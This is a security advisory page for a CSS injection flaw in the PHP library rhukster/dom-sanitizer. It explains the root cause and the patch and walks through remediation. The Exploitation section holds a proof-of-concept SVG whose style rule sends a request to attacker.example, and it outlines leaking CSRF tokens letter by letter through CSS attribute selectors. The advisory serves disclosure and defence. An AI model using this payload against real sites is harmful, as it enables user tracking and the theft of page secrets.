CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-93VF-569F-22CQ

GHSA-93VF-569F-22CQ: CSS Injection in PHP rhukster/dom-sanitizer via SVG Style Tags

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 11, 2026·5 min read·27 visits

Executive Summary (TL;DR)

A CSS injection vulnerability exists in `rhukster/dom-sanitizer` < 1.0.10 due to missing validation on SVG `<style>` tag content, allowing data exfiltration via external resource requests.

The PHP package `rhukster/dom-sanitizer` prior to version 1.0.10 is vulnerable to CSS Injection. The sanitizer permits the inclusion of `<style>` tags within SVG documents but fails to inspect or neutralize the textual content within these elements. This oversight allows attackers to inject arbitrary CSS, facilitating information disclosure, user tracking, and potential exfiltration of sensitive DOM data via CSS selectors.

Vulnerability Overview

The PHP package rhukster/dom-sanitizer provides DOM-based HTML and SVG sanitization capabilities. Applications utilize this library to safely render user-supplied content by stripping dangerous tags and attributes before they reach the client browser. The library explicitly supports SVG processing, maintaining an allowlist of permitted SVG elements that includes the <style> tag.

A vulnerability identified as GHSA-93VF-569F-22CQ affects all versions of this package prior to 1.0.10. The core issue lies in how the sanitizer processes the permitted <style> elements within SVG inputs. While the element itself is allowed, the library fails to validate the textContent residing inside the tag.

This omission introduces a CSS Injection vulnerability mapped to CWE-74 and CWE-79. Because CSS rules can initiate network requests and conditionally execute based on DOM state, an attacker can embed malicious stylesheets within an otherwise benign SVG file. The sanitized output remains dangerous to the end user and executes within the context of the host application.

Root Cause Analysis

The vulnerability stems from an architectural oversight in the DOMSanitizer::sanitize() method. The method iterates through DOM elements and validates their tag names against a predefined allowlist. Once a tag is permitted, the sanitizer proceeds to inspect and filter the element's attributes to prevent JavaScript injection via event handlers like onload or onerror.

This attribute-focused sanitization strategy is insufficient for elements like <style>. In the Document Object Model, CSS rules are not stored as attributes but rather as text nodes (textContent or nodeValue) child to the <style> element. The sanitizer's logic entirely bypassed these text nodes.

Consequently, CSS directives such as @import and url() were never subjected to the EXTERNAL_URL patterns and attribute filters applied elsewhere in the library. The sanitizer assumed that stripping dangerous attributes from a permitted tag was sufficient to neutralize the element.

Code Analysis

Prior to version 1.0.10, the sanitize() loop strictly evaluated elements and attributes. The style tag passed the element allowlist check, and because the malicious payload resided in the textContent, the payload survived the sanitization process unmodified.

The fix implemented in commit 49a98046b708a4c92f754f5b0ef1720bb85142e2 introduces explicit validation for <style> tag content. The patch modifies the main element iteration loop to evaluate the textContent property when the tag name is style.

// Patched logic in src/DOMSanitizer.php
if ($tag_name_lower === 'style' && $this->hasDangerousStyleContent($element->textContent)) {
    $element->parentNode->removeChild($element);
    continue;
}

The newly introduced hasDangerousStyleContent method performs CSS hex decoding to prevent obfuscation bypasses, parsing escapes like \75 rl to url. It then applies strict regular expressions to block external stylesheet imports (@import\b), external URL references matching HTTP, FTP, or Data schemes, and legacy JavaScript execution (expression\s*\(). Internal fragment references like url(#gradient) remain permitted.

Exploitation

Exploitation requires the attacker to supply a crafted SVG file containing a malicious <style> block. The target application must process this SVG using DOMSanitizer::sanitize() and output the result into an active DOM context viewed by a victim.

The following proof-of-concept demonstrates the injection technique. The attacker embeds a wildcard CSS selector targeting all elements, coupled with a background property that initiates an external request.

$svg = '<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url(https://attacker.example/collect?url=victim-site); }</style>
</svg>';

When the victim's browser renders this sanitized SVG, it parses the CSS rules and automatically issues an HTTP GET request to the attacker's server. Advanced exploitation techniques utilize CSS attribute selectors (e.g., input[name="csrf"][value^="a"] { background: url(...) }) to exfiltrate sensitive data letter-by-letter.

Impact Assessment

The vulnerability carries a CVSS v3.1 base score of 4.7, reflecting a Medium severity level. The network-based attack vector allows remote exploitation without authentication, but requires user interaction to render the malicious SVG within a browser context.

The primary impact is limited to the Confidentiality metric. An attacker can disclose the victim's IP address, User-Agent, and exact page URL through basic tracking payloads. Using CSS attribute selectors, the attacker can exfiltrate sensitive DOM content, such as CSRF tokens or partial session identifiers, provided these secrets are present in the DOM hierarchy affected by the injected styles.

There is no impact on Integrity or Availability, as the vulnerability does not allow direct modification of the server state or disruption of service. The scope is marked as Changed (S:C) because the vulnerability originates in the PHP sanitizer but impacts the client-side browser environment.

Remediation

The vendor addressed the vulnerability in version 1.0.10. Organizations utilizing rhukster/dom-sanitizer must update their dependencies via Composer to implement the patch.

If immediate patching is not feasible, administrators can implement a temporary workaround by modifying the sanitizer's configuration. Developers should remove the style element from the allowed SVG tags array unless internal styling is strictly necessary for the application's functionality.

Applications implementing the patched version should monitor the library's updates, as CSS sanitization is inherently complex. Regular expression-based filtering may require further refinement if new CSS obfuscation techniques or browser-specific behaviors are discovered.

Official Patches

rhuksterOfficial 1.0.10 Release

Fix Analysis (1)

Technical Appendix

CVSS Score
4.7/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Affected Systems

rhukster/dom-sanitizer (PHP/Composer ecosystem)Applications utilizing rhukster/dom-sanitizer for SVG processing (e.g., Statamic CMS)

Affected Versions Detail

Product
Affected Versions
Fixed Version
rhukster/dom-sanitizer
rhukster
< 1.0.101.0.10
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score4.7 (Medium)
ImpactInformation Disclosure / CSS Injection
Exploit StatusPoC Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1048.003Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Exfiltration
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Advisory DatabaseProof of concept demonstrating CSS injection via external URL request

Vulnerability Timeline

Vulnerability disclosed and published via GitHub Advisory Database
2026-04-10
Official fix commit merged and version 1.0.10 released
2026-04-10
Confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
2026-04-10

References & Sources

  • [1]GitHub Advisory: GHSA-93VF-569F-22CQ
  • [2]Fix Commit 49a98046
  • [3]rhukster/dom-sanitizer Repository
Related Vulnerabilities
GHSA-g8hv-8w5p-cvqg

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-63462
7.5

CVE-2026-63462: Unauthenticated Stack Overflow Denial of Service in Unleash Server

An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.

Alon Barad
Alon Barad
10 views•6 min read
•1 day ago•CVE-2026-63004
5.5

CVE-2026-63004: Server-Side Request Forgery in Unleash Addon and Integration Subsystem

CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.

Amit Schendel
Amit Schendel
8 views•8 min read
•1 day ago•CVE-2026-63466
4.1

CVE-2026-63466: Process-Wide Security Degradation via Global Module Mutation in Unleash

Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.

Alon Barad
Alon Barad
3 views•6 min read
•1 day ago•CVE-2026-76904
9.8

CVE-2026-76904: Unauthenticated SQL Injection in GeoTools PostGIS DataStore Component

A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.

Alon Barad
Alon Barad
13 views•5 min read
•2 days ago•CVE-2026-61824
8.2

CVE-2026-61824: High-Severity Cross-Site Scripting (XSS) via Unsanitized Site Extractors in Defuddle

CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.

Amit Schendel
Amit Schendel
6 views•7 min read
•2 days ago•CVE-2026-63421
7.5

CVE-2026-63421: Query Limit Bypass via Negative Integer Input in KeystoneJS core resolvers

A high-severity vulnerability exists in KeystoneJS, a popular Node.js CMS and GraphQL framework, where the query resolution engine fails to validate signed negative integers within the pagination subsystem. Unauthenticated remote attackers can leverage this flaw to bypass the 'graphql.maxTake' safety boundary. By sending large negative values in the 'take' query parameter, the underlying Prisma ORM interprets the value as an instruction to fetch rows from the end of the collection, allowing malicious actors to bypass pagination limits, trigger database resource exhaustion, and execute application-level Denial of Service (DoS) attacks.

Alon Barad
Alon Barad
8 views•6 min read